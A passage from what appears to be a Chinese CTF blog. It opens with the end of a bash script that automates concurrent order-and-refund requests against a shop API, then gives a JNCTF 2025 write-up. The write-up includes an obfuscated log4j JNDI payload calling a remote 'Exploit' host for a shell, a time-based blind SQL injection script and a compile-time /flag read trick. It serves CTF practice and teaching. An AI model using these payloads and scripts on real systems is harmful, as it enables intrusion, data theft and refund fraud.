class="string">"没有可用优惠券。"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"==============================================="</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$resp</span>"</span> | jq -r <span class="string">'</span></span><br><span class="line"><span class="string"> .data</span></span><br><span class="line"><span class="string"> | to_entries[]</span></span><br><span class="line"><span class="string"> | "[\(.key)] id=\(.value.id) status=\(.value.status // "N/A")"</span></span><br><span class="line"><span class="string"> '</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"==============================================="</span></span><br><span class="line"> <span class="built_in">echo</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 选择要使用的那一张</span></span><br><span class="line"> <span class="built_in">read</span> -rp <span class="string">"请选择要使用的优惠券序号(0 ~ <span class="subst">$((count - 1)</span>),直接回车选 0): "</span> idx</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$idx</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> idx=0</span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ! [[ <span class="string">"<span class="variable">$idx</span>"</span> =~ ^[0-9]+$ ]] || [ <span class="string">"<span class="variable">$idx</span>"</span> -lt 0 ] || [ <span class="string">"<span class="variable">$idx</span>"</span> -ge <span class="string">"<span class="variable">$count</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 序号不合法,取消设置 COUPON_ID"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> cid</span><br><span class="line"> cid=$(<span class="built_in">echo</span> <span class="string">"<span class="variable">$resp</span>"</span> | jq -r <span class="string">".data[<span class="variable">$idx</span>].id"</span> 2>/dev/null)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$cid</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> COUPON_ID=<span class="string">"<span class="variable">$cid</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[+] 已选择优惠券:<span class="variable">$COUPON_ID</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 未能解析到优惠券 id"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">auto_refund_completed</span></span>() {</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$TOKEN</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 请先设置 token(菜单 1 或 2)"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[*] 从 /api/order/my 获取订单列表..."</span></span><br><span class="line"> <span class="built_in">local</span> resp</span><br><span class="line"> resp=$(api_get <span class="string">"/api/order/my"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ! <span class="built_in">command</span> -v jq >/dev/null 2>&1; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[!] 未安装 jq,无法解析订单状态,原始响应如下:"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$resp</span>"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 提取所有 status == "COMPLETED" 的订单 id</span></span><br><span class="line"> <span class="built_in">local</span> ids</span><br><span class="line"> ids=$(<span class="built_in">echo</span> <span class="string">"<span class="variable">$resp</span>"</span> | jq -r <span class="string">'</span></span><br><span class="line"><span class="string"> if .data == null then</span></span><br><span class="line"><span class="string"> empty</span></span><br><span class="line"><span class="string"> elif (.data | type) == "array" then</span></span><br><span class="line"><span class="string"> .data[] | select(.status == "COMPLETED") | .id</span></span><br><span class="line"><span class="string"> else</span></span><br><span class="line"><span class="string"> # 如果 data 是单个对象</span></span><br><span class="line"><span class="string"> if .data.status == "COMPLETED" then .data.id else empty end</span></span><br><span class="line"><span class="string"> end</span></span><br><span class="line"><span class="string"> '</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$ids</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[*] 没有状态为 COMPLETED 的订单,无需操作。"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"===== 将自动退款以下 COMPLETED 订单 ====="</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$ids</span>"</span> | <span class="built_in">nl</span> -ba</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"======================================="</span></span><br><span class="line"> <span class="built_in">read</span> -rp <span class="string">"确认执行退款吗?(Y/n): "</span> confirm</span><br><span class="line"> <span class="keyword">if</span> [[ <span class="string">"<span class="variable">$confirm</span>"</span> =~ ^[Nn]$ ]]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 已取消自动退款操作。"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 逐个调用 /api/order/refund/{id}</span></span><br><span class="line"> <span class="built_in">local</span> <span class="built_in">id</span></span><br><span class="line"> <span class="keyword">while</span> <span class="built_in">read</span> -r <span class="built_in">id</span>; <span class="keyword">do</span></span><br><span class="line"> [ -z <span class="string">"<span class="variable">$id</span>"</span> ] && <span class="built_in">continue</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> is_ignored_order <span class="string">"<span class="variable">$id</span>"</span>; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[*] 跳过忽略订单: <span class="variable">$id</span>"</span></span><br><span class="line"> <span class="built_in">continue</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[*] 正在退款订单: <span class="variable">$id</span>"</span></span><br><span class="line"> <span class="built_in">local</span> r</span><br><span class="line"> r=$(api_post <span class="string">"/api/order/refund/<span class="variable">${id}</span>"</span> <span class="string">""</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">command</span> -v jq >/dev/null 2>&1; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">local</span> msg</span><br><span class="line"> msg=$(<span class="built_in">echo</span> <span class="string">"<span class="variable">$r</span>"</span> | jq -r <span class="string">'.message // .msg // empty'</span> 2>/dev/null)</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">" -> message: <span class="variable">${msg}</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$r</span>"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">done</span> <<< <span class="string">"<span class="variable">$ids</span>"</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[*] 自动退款 COMPLETED 订单操作完成。"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">set_refund_sleep</span></span>() {</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"当前并发退款 sleep 时间: <span class="variable">${REFUND_SLEEP}</span>s"</span></span><br><span class="line"> <span class="built_in">read</span> -rp <span class="string">"输入新的 sleep 时间(秒,可小数,直接回车保持不变): "</span> v</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$v</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[*] 保持不变 (<span class="variable">${REFUND_SLEEP}</span>s)"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 允许类似 0.0005 / 0.1 / 1 / 2.5 这种数字</span></span><br><span class="line"> <span class="keyword">if</span> [[ <span class="string">"<span class="variable">$v</span>"</span> =~ ^[0-9]*\.?[0-9]+$ ]]; <span class="keyword">then</span></span><br><span class="line"> REFUND_SLEEP=<span class="string">"<span class="variable">$v</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[+] 已更新 REFUND_SLEEP = <span class="variable">${REFUND_SLEEP}</span>s"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 无效数字,保持原值 <span class="variable">${REFUND_SLEEP}</span>s"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">add_ignored_order</span></span>() {</span><br><span class="line"> <span class="built_in">read</span> -rp <span class="string">"输入要加入忽略列表的订单 ID: "</span> oid</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$oid</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 订单 ID 不能为空"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 检查是否已存在</span></span><br><span class="line"> <span class="keyword">case</span> <span class="string">" <span class="variable">$IGNORED_ORDER_IDS</span> "</span> <span class="keyword">in</span></span><br><span class="line"> *<span class="string">" <span class="variable">$oid</span> "</span>*)</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[*] 订单 <span class="variable">$oid</span> 已经在忽略列表中"</span></span><br><span class="line"> ;;</span><br><span class="line"> *)</span><br><span class="line"> IGNORED_ORDER_IDS=<span class="string">"<span class="variable">$IGNORED_ORDER_IDS</span> <span class="variable">$oid</span>"</span></span><br><span class="line"> <span class="comment"># 去掉可能的前导空格</span></span><br><span class="line"> IGNORED_ORDER_IDS=<span class="string">"<span class="variable">${IGNORED_ORDER_IDS## }</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[+] 已将订单 <span class="variable">$oid</span> 加入忽略列表"</span></span><br><span class="line"> ;;</span><br><span class="line"> <span class="keyword">esac</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"当前忽略订单列表: <span class="variable">$IGNORED_ORDER_IDS</span>"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment"># 判断某个订单 ID 是否在忽略列表中</span></span><br><span class="line"><span class="function"><span class="title">is_ignored_order</span></span>() {</span><br><span class="line"> <span class="built_in">local</span> oid=<span class="string">"<span class="variable">$1</span>"</span></span><br><span class="line"> <span class="keyword">case</span> <span class="string">" <span class="variable">$IGNORED_ORDER_IDS</span> "</span> <span class="keyword">in</span></span><br><span class="line"> *<span class="string">" <span class="variable">$oid</span> "</span>*)</span><br><span class="line"> <span class="built_in">return</span> 0 <span class="comment"># 在列表中</span></span><br><span class="line"> ;;</span><br><span class="line"> *)</span><br><span class="line"> <span class="built_in">return</span> 1 <span class="comment"># 不在列表中</span></span><br><span class="line"> ;;</span><br><span class="line"> <span class="keyword">esac</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">print_menu</span></span>() {</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"========= Happy Shopping 调试菜单 ========="</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"1. 注册新用户并保存 token"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"2. 手动设置 token"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"3. 设置 productId / quantity / couponId"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"4. 创建新订单(保存 orderId)"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"5. 对指定订单退款"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"6. 并发测试:同时下单 + 退款(跑一次)"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"7. 并发循环测试:多轮下单 + 退款"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"8. 查看当前上下文状态"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"9. 查看当前用户信息 (/api/user/info)"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"10. 查看当前用户订单列表 (/api/order/my)"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"11. 获取并选择优惠券 (/api/coupon/available)"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"12. 自动退款所有 COMPLETED 订单"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"13. 设置并发退款 sleep 延迟(当前 <span class="variable">${REFUND_SLEEP}</span>s)"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"14. 将订单加入自动退款忽略列表"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"0. 退出"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"=========================================="</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">main_loop</span></span>() {</span><br><span class="line"> <span class="keyword">while</span> <span class="literal">true</span>; <span class="keyword">do</span></span><br><span class="line"> print_menu</span><br><span class="line"> <span class="built_in">read</span> -rp <span class="string">"请选择操作: "</span> choice</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">"<span class="variable">$choice</span>"</span> <span class="keyword">in</span></span><br><span class="line"> 0)</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"Bye~"</span></span><br><span class="line"> <span class="built_in">break</span></span><br><span class="line"> ;;</span><br><span class="line"> 1)</span><br><span class="line"> register_user</span><br><span class="line"> ;;</span><br><span class="line"> 2)</span><br><span class="line"> set_token</span><br><span class="line"> ;;</span><br><span class="line"> 3)</span><br><span class="line"> set_params</span><br><span class="line"> ;;</span><br><span class="line"> 4)</span><br><span class="line"> create_order</span><br><span class="line"> ;;</span><br><span class="line"> 5)</span><br><span class="line"> refund_order</span><br><span class="line"> ;;</span><br><span class="line"> 6)</span><br><span class="line"> threaded_once</span><br><span class="line"> ;;</span><br><span class="line"> 7)</span><br><span class="line"> threaded_loop</span><br><span class="line"> ;;</span><br><span class="line"> 8)</span><br><span class="line"> show_state</span><br><span class="line"> ;;</span><br><span class="line"> 9)</span><br><span class="line"> user_info</span><br><span class="line"> ;;</span><br><span class="line"> 10)</span><br><span class="line"> my_orders</span><br><span class="line"> ;;</span><br><span class="line"> 11)</span><br><span class="line"> coupon_available</span><br><span class="line"> ;;</span><br><span class="line"> 12)</span><br><span class="line"> auto_refund_completed</span><br><span class="line"> ;;</span><br><span class="line"> 13)</span><br><span class="line"> set_refund_sleep</span><br><span class="line"> ;;</span><br><span class="line"> 14)</span><br><span class="line"> add_ignored_order</span><br><span class="line"> ;;</span><br><span class="line"> *)</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 无效选择,请重新输入"</span></span><br><span class="line"> ;;</span><br><span class="line"> <span class="keyword">esac</span></span><br><span class="line"> <span class="keyword">done</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">main_loop</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> ctf </category>
</categories>
<tags>
<tag> bash </tag>
</tags>
</entry>
<entry>
<title>jnctf_wp</title>
<link href="/2025/03/31/jnctf-wp/"/>
<url>/2025/03/31/jnctf-wp/</url>
<content type="html"><![CDATA[<h1 id="JNCTF-2025-wp"><a href="#JNCTF-2025-wp" class="headerlink" title="JNCTF 2025 wp"></a>JNCTF 2025 wp</h1><h2 id="misc"><a href="#misc" class="headerlink" title="misc"></a>misc</h2><h3 id="ez-pickle-jail"><a href="#ez-pickle-jail" class="headerlink" title="ez_pickle_jail"></a><strong>ez_pickle_jail</strong></h3><p>要求一个 base64 等于其本身,喂给 ai 之后说生成协议 0 即可。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> pickle</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成协议0的pickle数据(可以是任何对象,例如空字典)</span></span><br><span class="line">original_data = pickle.dumps({}, protocol=<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 转换为 base64</span></span><br><span class="line">b64_payload = base64.b64encode(original_data).decode()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输入到目标程序</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">"Enter this payload:"</span>)</span><br><span class="line"><span class="built_in">print</span>(b64_payload)</span><br></pre></td></tr></table></figure><h3 id="logloglog"><a href="#logloglog" class="headerlink" title="logloglog"></a>logloglog</h3><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/38163d86-b37b-4b51-920b-107acbad35d4.png" alt="38163d86-b37b-4b51-920b-107acbad35d4"></p><p>第一问,第二问的 ip 也是这个。</p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/00d8c9bd-c5c9-40df-9d7c-5c220f6ac8d7.png" alt="00d8c9bd-c5c9-40df-9d7c-5c220f6ac8d7"></p><p>第三问的用户名。</p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324160525349.png" alt="image-20250324160525349"></p><p>第四问。</p><p>第五问有若干个重启,但是数量都不大,直接顺着查一遍就行。</p><p>最终 flag:54850-192.168.36.188-Adnimistartro-8820-2</p><h3 id="stego"><a href="#stego" class="headerlink" title="stego"></a>stego</h3><p>找个网站给 qoi 解压成 png 格式,然后丢进 stegsolve 去看一眼。</p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324160805360.png" alt="image-20250324160805360"></p><p>非常明显了。</p><h3 id="小鼋侦探"><a href="#小鼋侦探" class="headerlink" title="小鼋侦探"></a><strong>小鼋侦探</strong></h3><p>musc 是谁的极限?</p><p>第一关丢给识图发现是福尔摩斯的某个密码表,解出来之后密码是 <code>UpDown</code>。</p><p>用 binwalk 分解图片之后拿到 zip 包,解压拿到 story2。</p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324161028986.png" alt="image-20250324161028986"></p><p>看到 K 之后被吓呆了,问出题人发现是替换密码,尝试常规的那几种,最后发现是 rot13 之后 atbash。</p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324161135763.png" alt="image-20250324161135763"></p><p>看到了明文,将大小写分离出来即可。(感觉可以考虑后面自己搓一个类似的解码工具,放进语料库来辅助多层破解)</p><p>story3 一个简单零宽。</p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324161353425.png" alt="image-20250324161353425"></p><p>最后一关是部分明文破解 zip 文件,用 bkcrack,当时没保存 flag 懒得再爆一次了。</p><h3 id="流量的秘密"><a href="#流量的秘密" class="headerlink" title="流量的秘密"></a><strong>流量的秘密</strong></h3><p>流量里面是一个非常明显的 sql 注入,直接提取出来之后用脚本破解即可。</p><p>我做的非常丑陋,最后手搓了很久。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">'output.txt'</span>, <span class="string">'r'</span>) <span class="keyword">as</span> file:</span><br><span class="line"> lines = file.read().splitlines()</span><br><span class="line"> </span><br><span class="line">flag = <span class="string">''</span></span><br><span class="line">mx = <span class="number">0</span></span><br><span class="line">vis = [<span class="number">0</span>] * <span class="number">100</span></span><br><span class="line">lines.reverse()</span><br><span class="line"><span class="keyword">for</span> line <span class="keyword">in</span> lines:</span><br><span class="line"> </span><br><span class="line"> x = line[line.find(<span class="string">"unicode(substr(flag,"</span>) + <span class="built_in">len</span>(<span class="string">"unicode(substr(flag,"</span>) : line.find(<span class="string">",1)) FROM secrets)"</span>)]</span><br><span class="line"> <span class="keyword">if</span> x.isdigit():</span><br><span class="line"> x = <span class="built_in">int</span>(x)</span><br><span class="line"> mx = <span class="built_in">max</span>(mx, x)</span><br><span class="line"> <span class="keyword">if</span> vis[x]:</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> tem = <span class="built_in">int</span>(line[line.find(<span class="string">"FROM secrets)>"</span>) + <span class="built_in">len</span>(<span class="string">"FROM secrets)>"</span>) :])</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> vis[x]:</span><br><span class="line"> vis[x] = tem</span><br><span class="line"> </span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, mx + <span class="number">1</span>):</span><br><span class="line"> <span class="built_in">print</span>(<span class="built_in">chr</span>(vis[i]), end=<span class="string">''</span>)</span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">KODUG|Jg`Z0v`dp`OOU`xs2u3`B`6d2jpu`2u`2s`sp0pOOp0p`HBRE`5`U`3`g2od`ui26`gmag~</span></span><br><span class="line"><span class="string">JNCTF{If_Y/u_co_NNT_wr1t2_A_5c1iot_1t_1r_ro/oNNo/o_GAQD_4_T_2_f1nc_th15_fl`f}</span></span><br><span class="line"><span class="string">IMBSEzHe^X.t^bn^MMS^vq0s1^@^4b0hns^0s^0q^qn.nMMn.n^F@PC^3^S^1^e0mb^sg04^ek_e|</span></span><br><span class="line"><span class="string">JNCTF{If_Y0u_do_NOT_wr1t3_A_5c2ipt_1t_1s_so0nOOn0o_HARD_4_U_2_f1nd_th15_flag}</span></span><br><span class="line"><span class="string">'''</span></span><br></pre></td></tr></table></figure><h2 id="crpyto"><a href="#crpyto" class="headerlink" title="crpyto"></a>crpyto</h2><h3 id="story"><a href="#story" class="headerlink" title="story"></a>story</h3><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324162225148.png" alt="image-20250324162225148"></p><p>字频破解?应该是叫这个。有<a href="https://quipqiup.com/">网站</a>。</p><h3 id="悲伤的故事"><a href="#悲伤的故事" class="headerlink" title="悲伤的故事"></a>悲伤的故事</h3><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/ff18049f-3cc6-4a01-a6bf-79ca2652b5d5.png" alt="ff18049f-3cc6-4a01-a6bf-79ca2652b5d5"></p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/983a1826-9d78-4e18-9999-b88f3820cabe.png" alt="983a1826-9d78-4e18-9999-b88f3820cabe"></p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/95ad95a5-e3bf-4c96-8518-5f99a5876447.png" alt="95ad95a5-e3bf-4c96-8518-5f99a5876447"></p><h3 id="熟悉的故人"><a href="#熟悉的故人" class="headerlink" title="熟悉的故人"></a><strong>熟悉的故人</strong></h3><p>两个素数相邻,直接开根号之后查相邻字符即可。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> long_to_bytes</span><br><span class="line"></span><br><span class="line">n = <span class="number">299487015341597647919776121004167231949688268241700414027108990830625623733773719845841268481813362766547912866733711608177564250583355016088619602664748425336481765034201744572985159895585715150798269166534598956939724628696559498880597219784298678035926538950792013309608367104567539694805267059251508650074879211671636277899101015682266724064486585722087645838229287808682200953448105025969146455228490015983463746790376132783796872114120190783210924155244559381221390948899033151290151152600368322574929968834669432260194965876835069287868333462555623127602208275637571642586991525702340484853548458548057993639750566860524849624229544573184492710462829280342457207433467447389201079678219686250530932773758629428257347183339748908201954402303</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c = <span class="number">173280870300519923715203696834882119083542571140839028806768298820015863852835794226059877700906545110752776137513745886446530644296244068573533415866288372258806488689702896105169105563661309394552655714439116657949182579256607803282002619932851022083044252527626831071719084726862098167058504014857808959509507079927043329860218143205867802447678657763092502703595859068700554763976014721402041206266622977798828412773984216149947581746621557407684424045536228695940316363053758694192430323960905458863919028226745439720770512594999441599361470532712341687933197440708229732759256063243580119155040005536274041077293091976606018500585881239869658926701105111190472713681295382152192237128324734905038277701951508078229426733519689307305874608135</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 计算n的平方根</span></span><br><span class="line">root = gmpy2.isqrt(n)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 在附近寻找p和q</span></span><br><span class="line">p = root</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> p = gmpy2.next_prime(p) <span class="comment"># 找下一个素数尝试</span></span><br><span class="line"> <span class="keyword">if</span> n % p == <span class="number">0</span>:</span><br><span class="line"> q = n // p</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(p)</span><br><span class="line"><span class="built_in">print</span>(q)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(<span class="built_in">pow</span>(c, gmpy2.invert(e, (p - <span class="number">1</span>) * (q - <span class="number">1</span>)), n)).decode())</span><br></pre></td></tr></table></figure><h2 id="pwn"><a href="#pwn" class="headerlink" title="pwn"></a>pwn</h2><h3 id="signin"><a href="#signin" class="headerlink" title="signin"></a>signin</h3><p>发现 unregister 这个函数没有身份验证,直接将 root 用户注销之后再注册一个 root 账号即可。</p><p>然后用 become_admin 将自己的权限升成 admin,然后 get_flag 即可。</p><h2 id="web"><a href="#web" class="headerlink" title="web"></a>web</h2><h3 id="rustaction"><a href="#rustaction" class="headerlink" title="rustaction"></a>rustaction</h3><p>发现编译环境是主机环境,并且可以下载编译产物,考虑直接将根目录下的 <code>/flag</code> 读取到程序里然后输出出来即可。</p><figure class="highlight rust"><table><tr><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="comment">// 编译时将 /flag 文件内容作为静态字符串嵌入程序</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">flag</span> = <span class="built_in">include_str!</span>(<span class="string">"/flag"</span>);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"嵌入的flag内容为: {}"</span>, flag);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324163009219.png" alt="image-20250324163009219"></p><h3 id="Welcome-to-JNSEC"><a href="#Welcome-to-JNSEC" class="headerlink" title="Welcome_to_JNSEC"></a><strong>Welcome_to_JNSEC</strong></h3><p>爆破密码之后得知密码是 <code>Admin123</code>。登录之后发现一个莫名其妙的查询,估计是 <code>log4j2</code>。</p><p>直接弹 shell 就行了。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxx/Exploit}</span><br></pre></td></tr></table></figure><p>貌似需要绕过 jndi。</p><h3 id="come-to-chat"><a href="#come-to-chat" class="headerlink" title="come_to_chat"></a>come_to_chat</h3><p>简单的 insert sql 盲注。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://172.18.137.75:31481/sendMessage.php"</span></span><br><span class="line"></span><br><span class="line">cookie = {<span class="string">"PHPSESSID"</span>: <span class="string">"2e6483de011e5a4b987f1c68fdeb5406"</span>}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_length</span>(<span class="params">Payload</span>) -> <span class="built_in">int</span>:</span><br><span class="line"> lef, rig, res = <span class="number">0</span>, <span class="number">1000</span>, <span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span> lef <= rig:</span><br><span class="line"> mid = (lef + rig) // <span class="number">2</span></span><br><span class="line"> stt = time.time()</span><br><span class="line"> payload = <span class="string">f"1' and if(length(<span class="subst">{Payload}</span>)>=<span class="subst">{mid}</span>, sleep(2), sleep(0)) or '1 "</span></span><br><span class="line"> data = {<span class="string">'msg'</span>: payload}</span><br><span class="line"> requests.post(url, data=data, cookies=cookie)</span><br><span class="line"> edt = time.time()</span><br><span class="line"> <span class="built_in">print</span>(edt, stt)</span><br><span class="line"> <span class="keyword">if</span> edt - stt >= <span class="number">2</span>:</span><br><span class="line"> res = mid</span><br><span class="line"> lef = mid + <span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> rig = mid - <span class="number">1</span></span><br><span class="line"> <span class="keyword">return</span> res <span class="keyword">if</span> res != <span class="number">0</span> <span class="keyword">else</span> <span class="number">0</span></span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_str</span>(<span class="params">Payload</span>):</span><br><span class="line"> length = get_length(Payload)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"<span class="subst">{Payload}</span>'s length = <span class="subst">{length}</span>"</span>)</span><br><span class="line"> result = <span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, length+<span class="number">1</span>):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">127</span>, <span class="number">31</span>, -<span class="number">1</span>):</span><br><span class="line"> stt = time.time()</span><br><span class="line"> payload = <span class="string">f"1' and 